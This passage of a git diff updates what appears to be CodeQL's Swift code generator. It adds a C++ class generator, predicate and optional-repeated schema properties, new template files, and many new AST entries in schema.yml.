+    srcs = glob(["*.dbscheme"]),
+    visibility = ["//swift:__subpackages__"],
+)
+
 py_binary(
     name = "codegen",
-    srcs = glob(["*.py"]),
+    srcs = glob(
+        ["*.py"],
+        exclude = ["trapgen.py"],
+    ),
     visibility = ["//swift/codegen/test:__pkg__"],
     deps = ["//swift/codegen/lib"],
 )
@@ -10,7 +27,28 @@ py_binary(
 py_binary(
     name = "trapgen",
     srcs = ["trapgen.py"],
-    data = ["//swift/codegen/templates:cpp"],
+    data = [
+        "//swift:dbscheme",
+        "//swift/codegen/templates:trap",
+    ],
     visibility = ["//swift:__subpackages__"],
-    deps = ["//swift/codegen/lib"],
+    deps = [
+        "//swift/codegen/lib",
+        requirement("toposort"),
+    ],
+)
+
+py_binary(
+    name = "cppgen",
+    srcs = ["cppgen.py"],
+    data = [
+        ":schema",
+        ":schema_includes",
+        "//swift/codegen/templates:cpp",
+    ],
+    visibility = ["//swift:__subpackages__"],
+    deps = [
+        "//swift/codegen/lib",
+        requirement("toposort"),
+    ],
 )
diff --git a/swift/codegen/cppgen.py b/swift/codegen/cppgen.py
new file mode 100644
index 00000000000..dcda56fd5f2
--- /dev/null
+++ b/swift/codegen/cppgen.py
@@ -0,0 +1,75 @@
+import functools
+from typing import Dict
+
+import inflection
+from toposort import toposort_flatten
+
+from swift.codegen.lib import cpp, generator, schema
+
+
+def _get_type(t: str, trap_affix: str) -> str:
+    if t is None:
+        # this is a predicate
+        return "bool"
+    if t == "string":
+        return "std::string"
+    if t == "boolean":
+        return "bool"
+    if t[0].isupper():
+        return f"{trap_affix}Label<{t}Tag>"
+    return t
+
+
+def _get_field(cls: schema.Class, p: schema.Property, trap_affix: str) -> cpp.Field:
+    trap_name = None
+    if not p.is_single:
+        trap_name = inflection.camelize(f"{cls.name}_{p.name}")
+        if not p.is_predicate:
+            trap_name = inflection.pluralize(trap_name)
+    args = dict(
+        field_name=p.name + ("_" if p.name in cpp.cpp_keywords else ""),
+        type=_get_type(p.type, trap_affix),
+        is_optional=p.is_optional,
+        is_repeated=p.is_repeated,
+        is_predicate=p.is_predicate,
+        trap_name=trap_name,
+    )
+    args.update(cpp.get_field_override(p.name))
+    return cpp.Field(**args)
+
+
+class Processor:
+    def __init__(self, data: Dict[str, schema.Class], trap_affix: str):
+        self._classmap = data
+        self._trap_affix = trap_affix
+
+    @functools.lru_cache(maxsize=None)
+    def _get_class(self, name: str) -> cpp.Class:
+        cls = self._classmap[name]
+        trap_name = None
+        if not cls.derived or any(p.is_single for p in cls.properties):
+            trap_name = inflection.pluralize(cls.name)
+        return cpp.Class(
+            name=name,
+            bases=[self._get_class(b) for b in cls.bases],
+            fields=[_get_field(cls, p, self._trap_affix) for p in cls.properties],
+            final=not cls.derived,
+            trap_name=trap_name,
+        )
+
+    def get_classes(self):
+        inheritance_graph = {k: cls.bases for k, cls in self._classmap.items()}
+        return [self._get_class(cls) for cls in toposort_flatten(inheritance_graph)]
+
+
+def generate(opts, renderer):
+    processor = Processor({cls.name: cls for cls in schema.load(opts.schema).classes}, opts.trap_affix)
+    out = opts.cpp_output
+    renderer.render(cpp.ClassList(processor.get_classes(), opts.cpp_namespace, opts.trap_affix,
+                                  opts.cpp_include_dir, opts.schema), out / f"{opts.trap_affix}Classes.h")
+
+
+tags = ("cpp", "schema")
+
+if __name__ == "__main__":
+    generator.run()
diff --git a/swift/codegen/dbschemegen.py b/swift/codegen/dbschemegen.py
index 1b68262ad22..c95316e5499 100755
--- a/swift/codegen/dbschemegen.py
+++ b/swift/codegen/dbschemegen.py
@@ -38,16 +38,7 @@ def cls_to_dbscheme(cls: schema.Class):
         )
     # use property-specific tables for 1-to-many and 1-to-at-most-1 properties
     for f in cls.properties:
-        if f.is_optional:
-            yield Table(
-                keyset=KeySet(["id"]),
-                name=inflection.tableize(f"{cls.name}_{f.name}"),
-                columns=[
-                    Column("id", type=dbtype(cls.name)),
-                    Column(f.name, dbtype(f.type)),
-                ],
-            )
-        elif f.is_repeated:
+        if f.is_repeated:
             yield Table(
                 keyset=KeySet(["id", "index"]),
                 name=inflection.tableize(f"{cls.name}_{f.name}"),
@@ -57,18 +48,36 @@ def cls_to_dbscheme(cls: schema.Class):
                     Column(inflection.singularize(f.name), dbtype(f.type)),
                 ]
             )
+        elif f.is_optional:
+            yield Table(
+                keyset=KeySet(["id"]),
+                name=inflection.tableize(f"{cls.name}_{f.name}"),
+                columns=[
+                    Column("id", type=dbtype(cls.name)),
+                    Column(f.name, dbtype(f.type)),
+                ],
+            )
+        elif f.is_predicate:
+            yield Table(
+                keyset=KeySet(["id"]),
+                name=inflection.underscore(f"{cls.name}_{f.name}"),
+                columns=[
+                    Column("id", type=dbtype(cls.name)),
+                 ],
+            )
+
 
 
 def get_declarations(data: schema.Schema):
     return [d for cls in data.classes for d in cls_to_dbscheme(cls)]
 
 
-def get_includes(data: schema.Schema, include_dir: pathlib.Path):
+def get_includes(data: schema.Schema, include_dir: pathlib.Path, swift_dir: pathlib.Path):
     includes = []
     for inc in data.includes:
         inc = include_dir / inc
         with open(inc) as inclusion:
-            includes.append(SchemeInclude(src=inc.relative_to(paths.swift_dir), data=inclusion.read()))
+            includes.append(SchemeInclude(src=inc.relative_to(swift_dir), data=inclusion.read()))
     return includes
 
 
@@ -78,8 +87,8 @@ def generate(opts, renderer):
 
     data = schema.load(input)
 
-    dbscheme = Scheme(src=input.relative_to(paths.swift_dir),
-                      includes=get_includes(data, include_dir=input.parent),
+    dbscheme = Scheme(src=input.relative_to(opts.swift_dir),
+                      includes=get_includes(data, include_dir=input.parent, swift_dir=opts.swift_dir),
                       declarations=get_declarations(data))
 
     renderer.render(dbscheme, out)
diff --git a/swift/codegen/lib/cpp.py b/swift/codegen/lib/cpp.py
index 21ce9318ca9..f93ff00b027 100644
--- a/swift/codegen/lib/cpp.py
+++ b/swift/codegen/lib/cpp.py
@@ -1,3 +1,4 @@
+import re
 from dataclasses import dataclass, field
 from typing import List, ClassVar
 
@@ -14,19 +15,40 @@ cpp_keywords = {"alignas", "alignof", "and", "and_eq", "asm", "atomic_cancel", "
                 "typeid", "typename", "union", "unsigned", "using", "virtual", "void", "volatile", "wchar_t", "while",
                 "xor", "xor_eq"}
 
+_field_overrides = [
+    (re.compile(r"(start|end)_(line|column)|index|width|num_.*"), {"type": "unsigned"}),
+    (re.compile(r"(.*)_"), lambda m: {"field_name": m[1]}),
+]
+
+
+def get_field_override(field: str):
+    for r, o in _field_overrides:
+        m = r.fullmatch(field)
+        if m:
+            return o(m) if callable(o) else o
+    return {}
+
 
 @dataclass
 class Field:
-    name: str
+    field_name: str
     type: str
+    is_optional: bool = False
+    is_repeated: bool = False
+    is_predicate: bool = False
+    trap_name: str = None
     first: bool = False
 
-    def cpp_name(self):
-        if self.name in cpp_keywords:
-            return self.name + "_"
-        return self.name
+    def __post_init__(self):
+        if self.is_optional:
+            self.type = f"std::optional<{self.type}>"
+        if self.is_repeated:
+            self.type = f"std::vector<{self.type}>"
+        if self.field_name in cpp_keywords:
+            self.field_name += "_"
 
-    def stream(self):
+    # using @property breaks pystache internals here
+    def get_streamer(self):
         if self.type == "std::string":
             return lambda x: f"trapQuoted({x})"
         elif self.type == "bool":
@@ -34,6 +56,10 @@ class Field:
         else:
             return lambda x: x
 
+    @property
+    def is_single(self):
+        return not (self.is_optional or self.is_repeated or self.is_predicate)
+
 
 @dataclass
 class Trap:
@@ -65,19 +91,65 @@ class Tag:
             self.bases = [TagBase(b) for b in self.bases]
             self.bases[0].first = True
 
+    @property
     def has_bases(self):
         return bool(self.bases)
 
 
 @dataclass
 class TrapList:
-    template: ClassVar = 'cpp_traps'
+    template: ClassVar = 'trap_traps'
 
-    traps: List[Trap] = field(default_factory=list)
+    traps: List[Trap]
+    namespace: str
+    trap_affix: str
+    include_dir: str
+    source: str
 
 
 @dataclass
 class TagList:
-    template: ClassVar = 'cpp_tags'
+    template: ClassVar = 'trap_tags'
 
-    tags: List[Tag] = field(default_factory=list)
+    tags: List[Tag]
+    namespace: str
+    source: str
+
+
+@dataclass
+class ClassBase:
+    ref: 'Class'
+    first: bool = False
+
+
+@dataclass
+class Class:
+    name: str
+    bases: List[ClassBase] = field(default_factory=list)
+    final: bool = False
+    fields: List[Field] = field(default_factory=list)
+    trap_name: str = None
+
+    def __post_init__(self):
+        self.bases = [ClassBase(c) for c in sorted(self.bases, key=lambda cls: cls.name)]
+        if self.bases:
+            self.bases[0].first = True
+
+    @property
+    def has_bases(self):
+        return bool(self.bases)
+
+    @property
+    def single_fields(self):
+        return [f for f in self.fields if f.is_single]
+
+
+@dataclass
+class ClassList:
+    template: ClassVar = "cpp_classes"
+
+    classes: List[Class]
+    namespace: str
+    trap_affix: str
+    include_dir: str
+    source: str
diff --git a/swift/codegen/lib/dbscheme.py b/swift/codegen/lib/dbscheme.py
index bd75b8dc3e0..91ab80c68aa 100644
--- a/swift/codegen/lib/dbscheme.py
+++ b/swift/codegen/lib/dbscheme.py
@@ -144,13 +144,10 @@ def get_union(match):
 
 
 def iterload(file):
-    data = Re.comment.sub("", file.read())
+    with open(file) as file:
+        data = Re.comment.sub("", file.read())
     for e in Re.entity.finditer(data):
         if e["table"]:
             yield get_table(e)
         elif e["union"]:
             yield get_union(e)
-
-
-def load(file):
-    return list(iterload(file))
diff --git a/swift/codegen/lib/generator.py b/swift/codegen/lib/generator.py
index 9c0a071cefa..c78d8e3b523 100644
--- a/swift/codegen/lib/generator.py
+++ b/swift/codegen/lib/generator.py
@@ -3,26 +3,30 @@
 import argparse
 import logging
 import sys
+from typing import Set
 
-from . import options, render
+from . import options, render, paths
 
 
-def _parse(tags):
+def _parse(tags: Set[str]) -> argparse.Namespace:
     parser = argparse.ArgumentParser()
     for opt in options.get(tags):
         opt.add_to(parser)
-    ret = parser.parse_args()
-    log_level = logging.DEBUG if ret.verbose else logging.INFO
-    logging.basicConfig(format="{levelname} {message}", style='{', level=log_level)
-    return ret
+    return parser.parse_args()
 
 
-def run(*modules):
+def run(*modules, **kwargs):
     """ run generation functions in specified in `modules`, or in current module by default
     """
     if modules:
-        opts = _parse({t for m in modules for t in m.tags})
+        if kwargs:
+            opts = argparse.Namespace(**kwargs)
+        else:
+            opts = _parse({t for m in modules for t in m.tags})
+        log_level = logging.DEBUG if opts.verbose else logging.INFO
+        logging.basicConfig(format="{levelname} {message}", style='{', level=log_level)
+        exe_path = paths.exe_file.relative_to(opts.swift_dir)
         for m in modules:
-            m.generate(opts, render.Renderer())
+            m.generate(opts, render.Renderer(exe_path))
     else:
-        run(sys.modules["__main__"])
+        run(sys.modules["__main__"], **kwargs)
diff --git a/swift/codegen/lib/options.py b/swift/codegen/lib/options.py
index 6332444b752..501b7cc73d1 100644
--- a/swift/codegen/lib/options.py
+++ b/swift/codegen/lib/options.py
@@ -10,12 +10,18 @@ from . import paths
 
 def _init_options():
     Option("--verbose", "-v", action="store_true")
+    Option("--swift-dir", type=_abspath, default=paths.swift_dir)
     Option("--schema", tags=["schema"], type=_abspath, default=paths.swift_dir / "codegen/schema.yml")
     Option("--dbscheme", tags=["dbscheme"], type=_abspath, default=paths.swift_dir / "ql/lib/swift.dbscheme")
     Option("--ql-output", tags=["ql"], type=_abspath, default=paths.swift_dir / "ql/lib/codeql/swift/generated")
     Option("--ql-stub-output", tags=["ql"], type=_abspath, default=paths.swift_dir / "ql/lib/codeql/swift/elements")
+    Option("--ql-format", tags=["ql"], action="store_true", default=True)
+    Option("--no-ql-format", tags=["ql"], action="store_false", dest="ql_format")
     Option("--codeql-binary", tags=["ql"], default="codeql")
-    Option("--trap-output", tags=["trap"], type=_abspath, required=True)
+    Option("--cpp-output", tags=["cpp"], type=_abspath, required=True)
+    Option("--cpp-namespace", tags=["cpp"], default="codeql")
+    Option("--trap-affix", tags=["cpp"], default="Trap")
+    Option("--cpp-include-dir", tags=["cpp"], default="swift/extractor/trap")
 
 
 def _abspath(x):
diff --git a/swift/codegen/lib/paths.py b/swift/codegen/lib/paths.py
index 8fe63cefe8e..2ad1284b17b 100644
--- a/swift/codegen/lib/paths.py
+++ b/swift/codegen/lib/paths.py
@@ -15,7 +15,4 @@ except KeyError:
 lib_dir = swift_dir / 'codegen' / 'lib'
 templates_dir = swift_dir / 'codegen' / 'templates'
 
-try:
-    exe_file = pathlib.Path(sys.argv[0]).resolve().relative_to(swift_dir)
-except ValueError:
-    exe_file = pathlib.Path(sys.argv[0]).name
+exe_file = pathlib.Path(sys.argv[0]).resolve()
diff --git a/swift/codegen/lib/ql.py b/swift/codegen/lib/ql.py
index 9fa4e02a42e..5d4a7076414 100644
--- a/swift/codegen/lib/ql.py
+++ b/swift/codegen/lib/ql.py
@@ -8,40 +8,45 @@ import inflection
 @dataclass
 class Param:
     param: str
-    type: str = None
     first: bool = False
 
 
 @dataclass
 class Property:
     singular: str
-    type: str
-    tablename: str
-    tableparams: List[Param]
+    type: str = None
+    tablename: str = None
+    tableparams: List[Param] = field(default_factory=list)
     plural: str = None
-    params: List[Param] = field(default_factory=list)
     first: bool = False
     local_var: str = "x"
+    is_optional: bool = False
+    is_predicate: bool = False
 
     def __post_init__(self):
-        if self.params:
-            self.params[0].first = True
-        while self.local_var in (p.param for p in self.params):
-            self.local_var += "_"
-        assert self.tableparams
-        if self.type_is_class:
-            self.tableparams = [x if x != "result" else self.local_var for x in self.tableparams]
-        self.tableparams = [Param(x) for x in self.tableparams]
-        self.tableparams[0].first = True
+        if self.tableparams:
+            if self.type_is_class:
+                self.tableparams = [x if x != "result" else self.local_var for x in self.tableparams]
+            self.tableparams = [Param(x) for x in self.tableparams]
+            self.tableparams[0].first = True
 
     @property
-    def indefinite_article(self):
+    def getter(self):
+        return f"get{self.singular}" if not self.is_predicate else self.singular
+
+    @property
+    def indefinite_getter(self):
         if self.plural:
-            return "An" if self.singular[0] in "AEIO" else "A"
+            article = "An" if self.singular[0] in "AEIO" else "A"
+            return f"get{article}{self.singular}"
 
     @property
     def type_is_class(self):
-        return self.type[0].isupper()
+        return bool(self.type) and self.type[0].isupper()
+
+    @property
+    def is_repeated(self):
+        return bool(self.plural)
 
 
 @dataclass
diff --git a/swift/codegen/lib/render.py b/swift/codegen/lib/render.py
index 3d20fe1a199..b8fae984c67 100644
--- a/swift/codegen/lib/render.py
+++ b/swift/codegen/lib/render.py
@@ -18,9 +18,10 @@ log = logging.getLogger(__name__)
 class Renderer:
     """ Template renderer using mustache templates in the `templates` directory """
 
-    def __init__(self):
+    def __init__(self, generator):
         self._r = pystache.Renderer(search_dirs=str(paths.templates_dir), escape=lambda u: u)
         self.written = set()
+        self._generator = generator
 
     def render(self, data, output: pathlib.Path):
         """ Render `data` to `output`.
@@ -34,7 +35,7 @@ class Renderer:
         """
         mnemonic = type(data).__name__
         output.parent.mkdir(parents=True, exist_ok=True)
-        data = self._r.render_name(data.template, data, generator=paths.exe_file)
+        data = self._r.render_name(data.template, data, generator=self._generator)
         with open(output, "w") as out:
             out.write(data)
         log.debug(f"generated {mnemonic} {output.name}")
diff --git a/swift/codegen/lib/schema.py b/swift/codegen/lib/schema.py
index 5871c90ed3b..648b8b2ec64 100644
--- a/swift/codegen/lib/schema.py
+++ b/swift/codegen/lib/schema.py
@@ -15,9 +15,10 @@ class Property:
     is_single: ClassVar = False
     is_optional: ClassVar = False
     is_repeated: ClassVar = False
+    is_predicate: ClassVar = False
 
     name: str
-    type: str
+    type: str = None
 
 
 @dataclass
@@ -35,6 +36,17 @@ class RepeatedProperty(Property):
     is_repeated: ClassVar = True
 
 
+@dataclass
+class RepeatedOptionalProperty(Property):
+    is_optional: ClassVar = True
+    is_repeated: ClassVar = True
+
+
+@dataclass
+class PredicateProperty(Property):
+    is_predicate: ClassVar = True
+
+
 @dataclass
 class Class:
     name: str
@@ -51,15 +63,16 @@ class Schema:
 
 
 def _parse_property(name, type):
-    if type.endswith("*"):
-        cls = RepeatedProperty
-        type = type[:-1]
+    if type.endswith("?*"):
+        return RepeatedOptionalProperty(name, type[:-2])
+    elif type.endswith("*"):
+        return RepeatedProperty(name, type[:-1])
     elif type.endswith("?"):
-        cls = OptionalProperty
-        type = type[:-1]
+        return OptionalProperty(name, type[:-1])
+    elif type == "predicate":
+        return PredicateProperty(name)
     else:
-        cls = SingleProperty
-    return cls(name, type)
+        return SingleProperty(name, type)
 
 
 class _DirSelector:
@@ -79,7 +92,6 @@ def load(path):
         data = yaml.load(input, Loader=yaml.SafeLoader)
     grouper = _DirSelector(data.get("_directories", {}).items())
     classes = {root_class_name: Class(root_class_name)}
-    assert root_class_name not in data
     classes.update((cls, Class(cls, dir=grouper.get(cls))) for cls in data if not cls.startswith("_"))
     for name, info in data.items():
         if name.startswith("_"):
@@ -97,7 +109,7 @@ def load(path):
                     classes[base].derived.add(name)
             elif k == "_dir":
                 cls.dir = pathlib.Path(v)
-        if not cls.bases:
+        if not cls.bases and cls.name != root_class_name:
             cls.bases.add(root_class_name)
             classes[root_class_name].derived.add(name)
 
diff --git a/swift/codegen/qlgen.py b/swift/codegen/qlgen.py
index b16bd38a208..4eea533904a 100755
--- a/swift/codegen/qlgen.py
+++ b/swift/codegen/qlgen.py
@@ -1,6 +1,7 @@
 #!/usr/bin/env python3
 
 import logging
+import pathlib
 import subprocess
 
 import inflection
@@ -18,13 +19,6 @@ def get_ql_property(cls: schema.Class, prop: schema.Property):
             tablename=inflection.tableize(cls.name),
             tableparams=["this"] + ["result" if p is prop else "_" for p in cls.properties if p.is_single],
         )
-    elif prop.is_optional:
-        return ql.Property(
-            singular=inflection.camelize(prop.name),
-            type=prop.type,
-            tablename=inflection.tableize(f"{cls.name}_{prop.name}"),
-            tableparams=["this", "result"],
-        )
     elif prop.is_repeated:
         return ql.Property(
             singular=inflection.singularize(inflection.camelize(prop.name)),
@@ -32,7 +26,23 @@ def get_ql_property(cls: schema.Class, prop: schema.Property):
             type=prop.type,
             tablename=inflection.tableize(f"{cls.name}_{prop.name}"),
             tableparams=["this", "index", "result"],
-            params=[ql.Param("index", type="int")],
+            is_optional=prop.is_optional,
+        )
+    elif prop.is_optional:
+        return ql.Property(
+            singular=inflection.camelize(prop.name),
+            type=prop.type,
+            tablename=inflection.tableize(f"{cls.name}_{prop.name}"),
+            tableparams=["this", "result"],
+            is_optional=True,
+        )
+    elif prop.is_predicate:
+        return ql.Property(
+            singular=inflection.camelize(prop.name, uppercase_first_letter=False),
+            type="predicate",
+            tablename=inflection.underscore(f"{cls.name}_{prop.name}"),
+            tableparams=["this"],
+            is_predicate=True,
         )
 
 
@@ -46,8 +56,8 @@ def get_ql_class(cls: schema.Class):
     )
 
 
-def get_import(file):
-    stem = file.relative_to(paths.swift_dir / "ql/lib").with_suffix("")
+def get_import(file: pathlib.Path, swift_dir: pathlib.Path):
+    stem = file.relative_to(swift_dir / "ql/lib").with_suffix("")
     return str(stem).replace("/", ".")
 
 
@@ -56,8 +66,6 @@ def get_types_used_by(cls: ql.Class):
         yield b
     for p in cls.properties:
         yield p.type
-        for param in p.params:
-            yield param.type
 
 
 def get_classes_used_by(cls: ql.Class):
@@ -90,7 +98,7 @@ def generate(opts, renderer):
     imports = {}
 
     for c in classes:
-        imports[c.name] = get_import(stub_out / c.path)
+        imports[c.name] = get_import(stub_out / c.path, opts.swift_dir)
 
     for c in classes:
         qll = (out / c.path).with_suffix(".qll")
@@ -98,7 +106,7 @@ def generate(opts, renderer):
         renderer.render(c, qll)
         stub_file = (stub_out / c.path).with_suffix(".qll")
         if not stub_file.is_file() or is_generated(stub_file):
-            stub = ql.Stub(name=c.name, base_import=get_import(qll))
+            stub = ql.Stub(name=c.name, base_import=get_import(qll, opts.swift_dir))
             renderer.render(stub, stub_file)
 
     # for example path/to/syntax/generated -> path/to/syntax.qll
@@ -107,7 +115,8 @@ def generate(opts, renderer):
     renderer.render(all_imports, include_file)
 
     renderer.cleanup(existing)
-    format(opts.codeql_binary, renderer.written)
+    if opts.ql_format:
+        format(opts.codeql_binary, renderer.written)
 
 
 tags = ("schema", "ql")
diff --git a/swift/codegen/requirements.txt b/swift/codegen/requirements.txt
index b8959a4b15d..cf356ffe1f3 100644
--- a/swift/codegen/requirements.txt
+++ b/swift/codegen/requirements.txt
@@ -1,4 +1,5 @@
-pystache
-pyyaml
 inflection
+pystache
 pytest
+pyyaml
+toposort
diff --git a/swift/codegen/schema.yml b/swift/codegen/schema.yml
index 6e07edbe2e5..452f643c863 100644
--- a/swift/codegen/schema.yml
+++ b/swift/codegen/schema.yml
@@ -12,12 +12,12 @@ _directories:
   expr: Expr$
   stmt: Stmt$
 
+Element:
+  is_unknown: predicate
+
 File:
   name: string
 
-IterableDeclContext:
-  members: Decl*
-
 Locatable:
   location: Location
 
@@ -32,6 +32,9 @@ Type:
   diagnostics_name: string
   canonical_type: Type
 
+IterableDeclContext:
+  members: Decl*
+
 ExtensionDecl:
   _extends:
     - GenericContext
@@ -59,6 +62,7 @@ AnyFunctionType:
   result: Type
   param_types: Type*
   param_labels: string*
+  is_throwing: predicate
 
 AnyGenericType:
   _extends: Type
@@ -73,6 +77,8 @@ BuiltinType:
 
 DependentMemberType:
   _extends: Type
+  baseType: Type
+  associated_type_decl: AssociatedTypeDecl
 
 DynamicSelfType:
   _extends: Type
@@ -122,14 +128,12 @@ SugarType:
 
 TupleType:
   _extends: Type
+  types: Type*
+  names: string*
 
 TypeVariableType:
   _extends: Type
 
-UnknownType:
-  _extends: Type
-  name: string
-
 UnresolvedType:
   _extends: Type
 
@@ -231,12 +235,14 @@ GenericTypeParamType:
 
 ParenType:
   _extends: SugarType
+  type: Type
 
 SyntaxSugarType:
   _extends: SugarType
 
 TypeAliasType:
   _extends: SugarType
+  decl: TypeAliasDecl
 
 EnumCaseDecl:
   _extends: Decl
@@ -253,10 +259,11 @@ MissingMemberDecl:
 
 OperatorDecl:
   _extends: Decl
+  name: string
 
 PatternBindingDecl:
   _extends: Decl
-  inits: Expr*
+  inits: Expr?*
   patterns: Pattern*
 
 PoundDiagnosticDecl:
@@ -269,15 +276,6 @@ TopLevelCodeDecl:
   _extends: Decl
   body: BraceStmt
 
-UnknownAstNode:
-  _extends:
-    - Decl
-    - Expr
-    - Pattern
-    - Stmt
-    - TypeRepr
-  name: string
-
 ValueDecl:
   _extends: Decl
   interface_type: Type
@@ -598,6 +596,7 @@ YieldStmt:
 
 BoundGenericType:
   _extends: NominalOrBoundGenericNominalType
+  arg_types: Type*
 
 NominalType:
   _extends: NominalOrBoundGenericNominalType
@@ -607,6 +606,7 @@ BuiltinIntegerLiteralType:
 
 BuiltinIntegerType:
   _extends: AnyBuiltinIntegerType
+  width: int?
 
 NestedArchetypeType:
   _extends: ArchetypeType
@@ -626,12 +626,16 @@ PrimaryArchetypeType:
 
 DictionaryType:
   _extends: SyntaxSugarType
+  key_type: Type
+  value_type: Type
 
 UnarySyntaxSugarType:
   _extends: SyntaxSugarType
+  base_type: Type
 
 InfixOperatorDecl:
   _extends: OperatorDecl
+  precedence_group: PrecedenceGroupDecl?
 
 PostfixOperatorDecl:
   _extends: OperatorDecl
@@ -658,6 +662,7 @@ EnumElementDecl:
 TypeDecl:
   _extends: ValueDecl
   name: string
+  base_types: Type*
 
 AutoClosureExpr:
   _extends: AbstractClosureExpr
@@ -858,9 +863,10 @@ DoStmt:
 
 ForEachStmt:
   _extends: LabeledStmt
-  body: BraceStmt
+  pattern: Pattern
   sequence: Expr
   where: Expr?
+  body: BraceStmt
 
 LabeledConditionalStmt:
   _extends: LabeledStmt
@@ -892,7 +898,6 @@ BoundGenericStructType:
 
 ClassType:
   _extends: NominalType
-  decl: ClassDecl
 
 EnumType:
   _extends: NominalType
@@ -902,7 +907,6 @@ ProtocolType:
 
 StructType:
   _extends: NominalType
-  decl: StructDecl
 
 ArraySliceType:
   _extends: UnarySyntaxSugarType
@@ -929,6 +933,9 @@ VarDecl:
   _extends: AbstractStorageDecl
   name: string
   type: Type
+  attached_property_wrapper_type: Type?
+  parent_pattern: Pattern?
+  parent_initializer: Expr?
 
 AbstractTypeParamDecl:
   _extends: TypeDecl
@@ -1025,3 +1032,87 @@ FloatLiteralExpr:
 IntegerLiteralExpr:
   _extends: NumberLiteralExpr
   string_value: string
+
+ErrorTypeRepr:
+  _extends: TypeRepr
+
+AttributedTypeRepr:
+  _extends: TypeRepr
+
+IdentTypeRepr:
+  _extends: TypeRepr
+
+ComponentIdentTypeRepr:
+  _extends: IdentTypeRepr
+
+SimpleIdentTypeRepr:
+  _extends: ComponentIdentTypeRepr
+
+GenericIdentTypeRepr:
+  _extends: ComponentIdentTypeRepr
+
+CompoundIdentTypeRepr:
+  _extends: IdentTypeRepr
+
+FunctionTypeRepr:
+  _extends: TypeRepr
+
+ArrayTypeRepr:
+  _extends: TypeRepr
+
+DictionaryTypeRepr:
+  _extends: TypeRepr
+
+OptionalTypeRepr:
+  _extends: TypeRepr
+
+ImplicitlyUnwrappedOptionalTypeRepr:
+  _extends: TypeRepr
+
+TupleTypeRepr:
+  _extends: TypeRepr
+
+CompositionTypeRepr:
+  _extends: TypeRepr
+
+MetatypeTypeRepr:
+  _extends: TypeRepr
+
+ProtocolTypeRepr:
+  _extends: TypeRepr
+
+OpaqueReturnTypeRepr:
+  _extends: TypeRepr
+
+NamedOpaqueReturnTypeRepr:
+  _extends: TypeRepr
+
+ExistentialTypeRepr:
+  _extends: TypeRepr
+
+PlaceholderTypeRepr:
+  _extends: TypeRepr
+
+SpecifierTypeRepr:
+  _extends: TypeRepr
+
+InOutTypeRepr:
+  _extends: SpecifierTypeRepr
+
+SharedTypeRepr:
+  _extends: SpecifierTypeRepr
+
+OwnedTypeRepr:
+  _extends: SpecifierTypeRepr
+
+IsolatedTypeRepr:
+  _extends: SpecifierTypeRepr
+
+CompileTimeConstTypeRepr:
+  _extends: SpecifierTypeRepr
+
+FixedTypeRepr:
+  _extends: TypeRepr
+
+SilBoxTypeRepr:
+  _extends: TypeRepr
diff --git a/swift/codegen/templates/BUILD.bazel b/swift/codegen/templates/BUILD.bazel
index 6e29f4d3a6a..7745e7ea2ac 100644
--- a/swift/codegen/templates/BUILD.bazel
+++ b/swift/codegen/templates/BUILD.bazel
@@ -1,5 +1,11 @@
+package(default_visibility = ["//swift:__subpackages__"])
+
+filegroup(
+    name = "trap",
+    srcs = glob(["trap_*.mustache"]),
+)
+
 filegroup(
     name = "cpp",
     srcs = glob(["cpp_*.mustache"]),
-    visibility = ["//swift:__subpackages__"],
 )
diff --git a/swift/codegen/templates/cpp_classes.mustache b/swift/codegen/templates/cpp_classes.mustache
new file mode 100644
index 00000000000..758febe966f
--- /dev/null
+++ b/swift/codegen/templates/cpp_classes.mustache
@@ -0,0 +1,58 @@
+// generated by {{generator}} from {{source}}
+// clang-format off
+#pragma once
+
+#include <iostream>
+#include <optional>
+#include <vector>
+
+#include "{{include_dir}}/{{trap_affix}}Label.h"
+#include "./{{trap_affix}}Entries.h"
+
+namespace {{namespace}} {
+{{#classes}}
+
+struct {{name}}{{#final}} : Binding<{{name}}Tag>{{#bases}}, {{ref.name}}{{/bases}}{{/final}}{{^final}}{{#has_bases}}: {{#bases}}{{^first}}, {{/first}}{{ref.name}}{{/bases}}{{/has_bases}}{{/final}} {
+  {{#fields}}
+  {{type}} {{field_name}}{};
+  {{/fields}}
+  {{#final}}
+
+  friend std::ostream& operator<<(std::ostream& out, const {{name}}& x) {
+    x.emit(out);
+    return out;
+  }
+  {{/final}}
+
+ protected:
+  void emit({{^final}}{{trap_affix}}Label<{{name}}Tag> id, {{/final}}std::ostream& out) const {
+    {{#trap_name}}
+    out << {{.}}{{trap_affix}}{id{{#single_fields}}, {{field_name}}{{/single_fields}}} << '\n';
+    {{/trap_name}}
+    {{#bases}}
+    {{ref.name}}::emit(id, out);
+    {{/bases}}
+    {{#fields}}
+    {{#is_predicate}}
+    if ({{field_name}}) out << {{trap_name}}{{trap_affix}}{id} << '\n';
+    {{/is_predicate}}
+    {{#is_optional}}
+    {{^is_repeated}}
+    if ({{field_name}}) out << {{trap_name}}{{trap_affix}}{id, *{{field_name}}} << '\n';
+    {{/is_repeated}}
+    {{/is_optional}}
+    {{#is_repeated}}
+    for (auto i = 0u; i < {{field_name}}.size(); ++i) {
+      {{^is_optional}}
+      out << {{trap_name}}{{trap_affix}}{id, i, {{field_name}}[i]};
+      {{/is_optional}}
+      {{#is_optional}}
+      if ({{field_name}}[i]) out << {{trap_name}}{{trap_affix}}{id, i, *{{field_name}}[i]};
+      {{/is_optional}}
+    }
+    {{/is_repeated}}
+    {{/fields}}
+  }
+};
+{{/classes}}
+}
diff --git a/swift/codegen/templates/cpp_traps.mustache b/swift/codegen/templates/cpp_traps.mustache
deleted file mode 100644
index 2655335830a..00000000000
--- a/swift/codegen/templates/cpp_traps.mustache
+++ /dev/null
@@ -1,33 +0,0 @@
-// generated by {{generator}}
-// clang-format off
-#pragma once
-
-#include <iostream>
-#include <string>
-
-#include "swift/extractor/trap/TrapLabel.h"
-#include "swift/extractor/trap/TrapTags.h"
-
-namespace codeql {
-{{#traps}}
-
-// {{table_name}}
-struct {{name}}Trap {
-  static constexpr bool is_binding = {{#id}}true{{/id}}{{^id}}false{{/id}};
-{{#id}}
-  {{type}} getBoundLabel() const { return {{cpp_name}}; }
-{{/id}}
-
-{{#fields}}
-  {{type}} {{cpp_name}}{};
-{{/fields}}
-};
-
-inline std::ostream &operator<<(std::ostream &out, const {{name}}Trap &e) {
-  out << "{{table_name}}("{{#fields}}{{^first}} << ", "{{/first}}
-      << {{#stream}}e.{{cpp_name}}{{/stream}}{{/fields}} << ")";
-  return out;
-}
-{{/traps}}
-
-}
diff --git a/swift/codegen/templates/ql_class.mustache b/swift/codegen/templates/ql_class.mustache
index f04914bd39d..8c668de26d4 100644
